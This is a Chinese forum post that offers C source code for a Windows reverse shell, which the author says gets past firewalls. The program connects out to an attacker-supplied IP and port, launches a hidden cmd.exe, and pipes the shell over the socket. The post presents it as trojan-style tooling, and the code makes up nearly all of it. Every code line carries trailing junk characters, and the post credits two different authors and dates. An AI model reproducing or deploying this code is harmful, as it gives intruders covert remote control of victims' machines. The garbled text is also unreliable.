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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Bsc&#  
9\J6G8b>|I  
/* ============================== @o/126(k  
Rebound port in Windows NT L0QF(:F5  
By wind,2006/7 [+8in\T i  
===============================*/ r!C#PiT}I  
#include YYs/r  
#include  HQ0fY  
2Y-NxW^]  
#pragma comment(lib,"wsock32.lib") d) i64"  
y} W-OLE  
void OutputShell(); jwQ(E  
SOCKET sClient; sc)}r_|g  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; GB&^<@  
qh)10*FB  
void main(int argc,char **argv) s k>E(Myo  
{ +[_mSt  
WSADATA stWsaData; kaG@T,pH(  
int nRet; &CcUr#|  
SOCKADDR_IN stSaiClient,stSaiServer; s%OPoRE  
\LbBK ~l-I  
if(argc != 3) VX{9g#y$j  
{ 1RM@~I$0  
printf("Useage:\n\rRebound DestIP DestPort\n"); Smc=-M}  
return; Ng 3r`S"_<  
} zu52]$Vj  
H5J1j*P<d  
WSAStartup(MAKEWORD(2,2),&stWsaData); 0<4Nf]i  
kWW$*d$  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XhEJF !  
vlSSw+r9  
stSaiClient.sin_family = AF_INET; ]ur_G`B  
stSaiClient.sin_port = htons(0); QHmF,P  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )&pcRFl  
HCIS4}lQ  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) aFf(m-  
{ K@R * V  
printf("Bind Socket Failed!\n"); G.l ~!;  
return; xk\n F0z  
} H7Y :l0b  
0~( f<:  
stSaiServer.sin_family = AF_INET; Z6\H4,k&  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >"?jW@|g  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?VRf5 Cr-  
VlbS\Y.  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) vOV$Hle  
{ NG\g_^.M  
printf("Connect Error!"); -qNun3  
return; !Sj0!\  
} W9M~2< L  
OutputShell(); @q/E)M?  
} mLb>*xt$b@  
>Y 8\I  
void OutputShell() ziXZJ^(FI  
{ Y)*:'&~2e  
char szBuff[1024]; 6(=>!+xpRr  
SECURITY_ATTRIBUTES stSecurityAttributes; .tQeOZW'  
OSVERSIONINFO stOsversionInfo; T@P[jtH<d  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; QTLGM-Z  
STARTUPINFO stStartupInfo; ww#]i&6  
char *szShell; viXt]0  
PROCESS_INFORMATION stProcessInformation; H:5- S  
unsigned long lBytesRead; d,+a}eTP'  
Q xm:5P  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); C(!A% >  
eJ3;Sd''  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Uw5AHq).  
stSecurityAttributes.lpSecurityDescriptor = 0; =6H  
stSecurityAttributes.bInheritHandle = TRUE; (@nE e?  
 J]4pPDm  
<%b a 3<sg  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 8lZB3p]X  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @F/yc  
t4[<N  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); NDYm7X*et  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2Sb68hJIE  
stStartupInfo.wShowWindow = SW_HIDE; OGWZq(c"6  
stStartupInfo.hStdInput = hReadPipe; x3tos!Y  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; JZ>E<U9&  
,C;%AS/  
GetVersionEx(&stOsversionInfo); W<tw],M-#  
;w(tXcXZ  
switch(stOsversionInfo.dwPlatformId) /+JHnedK  
{ ,We'A R3X  
case 1: -.t/c}a#  
szShell = "command.com"; ^=@`U_(,G  
break; \.K4tY+V  
default: j[Z<|Da  
szShell = "cmd.exe"; #BhDC.CcW  
break; `:#IZ  
} Wz&[ cj  
_/[}PQC6G  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,qu7XFYrY  
^_5t5>  
send(sClient,szMsg,77,0); PW QRy  
while(1) MiN|u  
{ kR/Etm5_  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +rWcfXOHM  
if(lBytesRead) OYLg-S  
{ g|=1U  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); c\DMeYrg  
send(sClient,szBuff,lBytesRead,0); }-N4D"d4o  
} F|bg2)|du8  
else yBkcYHT  
{ 6R'z3[K9  
lBytesRead=recv(sClient,szBuff,1024,0); ,?oC+9w  
if(lBytesRead<=0) break; ./i5VBP5  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `NB6Of*/  
} :D:Y-cG*n<  
} FXG,D J:  
=x3T+)qCNX  
return;  `;HZO8  
}
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